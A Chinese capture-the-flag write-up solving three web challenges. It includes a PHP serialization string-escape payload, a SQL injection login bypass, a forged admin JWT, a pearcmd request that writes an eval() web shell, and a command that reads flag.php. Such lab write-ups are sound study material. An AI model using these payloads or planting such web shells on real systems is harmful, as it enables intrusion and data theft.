piapiapia

actuator-env

dirsearch扫到了www.zip，访问下载看看

actuator-env

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
	require_once('class.php');
	if($_SESSION['username']) {
		header('Location: profile.php');
		exit;
	}
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');

		if($user->login($username, $password)) {
			$_SESSION['username'] = $username;
			header('Location: profile.php');
			exit;	
		}
		else {
			die('Invalid user name or password');
		}
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Login</h3>
			<label>Username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>Password:</label>
			<input type="password" name="password" style="height:30px" class="span3">

			<button type="submit" class="btn btn-primary">LOGIN</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
<?php
require('config.php');

class user extends mysql{
    private $table = 'users';

    public function is_exists($username) {
        $username = parent::filter($username);

        $where = "username = '$username'";
        return parent::select($this->table, $where);
    }
    public function register($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);

        $key_list = Array('username', 'password');
        $value_list = Array($username, md5($password));
        return parent::insert($this->table, $key_list, $value_list);
    }
    public function login($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);

        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        if ($object && $object->password === md5($password)) {
            return true;
        } else {
            return false;
        }
    }
    public function show_profile($username) {
        $username = parent::filter($username);

        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        return $object->profile;
    }
    public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }
    public function __tostring() {
        return __class__;
    }
}

class mysql {
    private $link = null;

    public function connect($config) {
        $this->link = mysql_connect(
            $config['hostname'],
            $config['username'], 
            $config['password']
        );
        mysql_select_db($config['database']);
        mysql_query("SET sql_mode='strict_all_tables'");

        return $this->link;
    }

    public function select($table, $where, $ret = '*') {
        $sql = "SELECT $ret FROM $table WHERE $where";
        $result = mysql_query($sql, $this->link);
        return mysql_fetch_object($result);
    }

    public function insert($table, $key_list, $value_list) {
        $key = implode(',', $key_list);
        $value = '\'' . implode('\',\'', $value_list) . '\''; 
        $sql = "INSERT INTO $table ($key) VALUES ($value)";
        return mysql_query($sql);
    }

    public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = '$value' WHERE $where";
        return mysql_query($sql);
    }

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }
    public function __tostring() {
        return __class__;
    }
}
session_start();
$user = new user();
$user->connect($config);

profile.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
   <title>Profile</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
		<h3>Hi <?php echo $nickname;?></h3>
		<label>Phone: <?php echo $phone;?></label>
		<label>Email: <?php echo $email;?></label>
	</div>
</body>
</html>
<?php
	}
?>

config.php

1
2
3
4
5
6
7
8
<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

猜测flag在这个文件中，我们要有一个意识：这是我们下载下来的源码，并非真正的服务端运行的源码，本地搭建做题环境时要改成自己的用户名、密码之类，在服务端docker的主机里，$flag变量应该存的就是我们要的flag。
register.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
	require_once('class.php');
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');
		if(!$user->is_exists($username)) {
			$user->register($username, $password);
			echo 'Register OK!<a href="index.php">Please Login</a>';		
		}
		else {
			die('User name Already Exists');
		}
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Register</h3>
			<label>Username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>Password:</label>
			<input type="password" name="password" style="height:30px" class="span3">

			<button type="submit" class="btn btn-primary">REGISTER</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

update.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>UPDATE</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Please Update Your Profile</h3>
			<label>Phone:</label>
			<input type="text" name="phone" style="height:30px"class="span3"/>
			<label>Email:</label>
			<input type="text" name="email" style="height:30px"class="span3"/>
			<label>Nickname:</label>
			<input type="text" name="nickname" style="height:30px" class="span3">
			<label for="file">Photo:</label>
			<input type="file" name="photo" style="height:30px"class="span3"/>
			<button type="submit" class="btn btn-primary">UPDATE</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

漏洞定位与利用链分析

目标：读取 config.php 中的 $flag。

入口：update.php 更新用户资料。

关键代码逻辑：

  1. class.php 中的 filter() 函数会将 where 替换为 hacker（长度从5变为6，增加了1个字符）。
  2. update.php 将 nickname, phone, email, photo 序列化后存入数据库。
  3. profile.php 反序列化数据并执行 file_get_contents($profile['photo'])。

利用原理：利用 filter() 替换关键字时产生的字符串长度变化，在序列化字符串中“挤出”多余字符，从而篡改后续序列化字段的内容，将 photo 的值修改为 config.php。

构造流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function filter($string){
    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}
$a=array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}');
$profile['phone']='12345678901';
$profile['email']='for@example.com';
$profile['nickname']=$a;
$profile['photo']='upload/21232f297a57a5a743894a0e4a801fc3';

var_dump(filter(serialize($profile)));

解题步骤

  1. 在/register.php注册，在/index.php登录
  2. 在nickname字段填入上述构造的 payload。
  3. phone和email填写合法值（确保正则通过即可，如12345678901和a@a.com），随意上传一张图片
  4. 然后bp抓包，记得这里要改一下

actuator-env

  1. 然后访问/profile.php，查看源码就行

SecretPhotoGallery

打开题目是一个登录页面

回看题目，给了hint

1
2
This is a mysterious gallery system, but the sqlite database is empty, is it?
翻译：这是一个神秘的画廊系统，但 SQLite 数据库却是空的，是这样吗？

看来是考SQL，测了一下注入点在password

1
2
username：1
password：1' union select 1,2,3--+

成功登录访问一下admin.php，Cookie：

1
auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiMSIsInJvbGUiOiJndWVzdCIsImlhdCI6MTc4NTU1NDU3Nn0.mXRRucB-fhp1B7-QBjQ8OSCEmCUrvxGtQ9UMzT2mKLE

一看就是JWT，把guest改成admin，但是发现没有签名

提取源码中注释的字母：GALLERY2024SECRET

最后Cookie：

1
auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiMSIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc4NTU1NDU3Nn0.-3ovBla6AH2trBITV2aayQI2WRR01tPMZdmJliuyjQA

export功能是用include实现的，allow_url_include没开，base64filter也不行

打pearcmd

1
2
3
https://靶机地址/admin.php?+config-create+/file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/var/www/html/test.php

action=export&filepath=/usr/local/lib/php/pearcmd.php

actuator-env

1
2
3
/test.php

cmd=system('cat flag.php');

actuator-env

在Hackbar试了半天，最后在bp才成功

象棋王子

在play.js里发现

1
2
3
4
5
6
7
8
play.showWin = function (my){
  play.isPlay = false;
  if (my===1){
    [][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(+[![]]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]])[(![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]]((!![]+[])[+[]])[([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]](([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])+[])[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])())
	}else{
		alert("很遗憾，你输了！");
	}
}

当my=1时胜利

把下面这一坨放到控制台就行了，是jsfunk加密

1
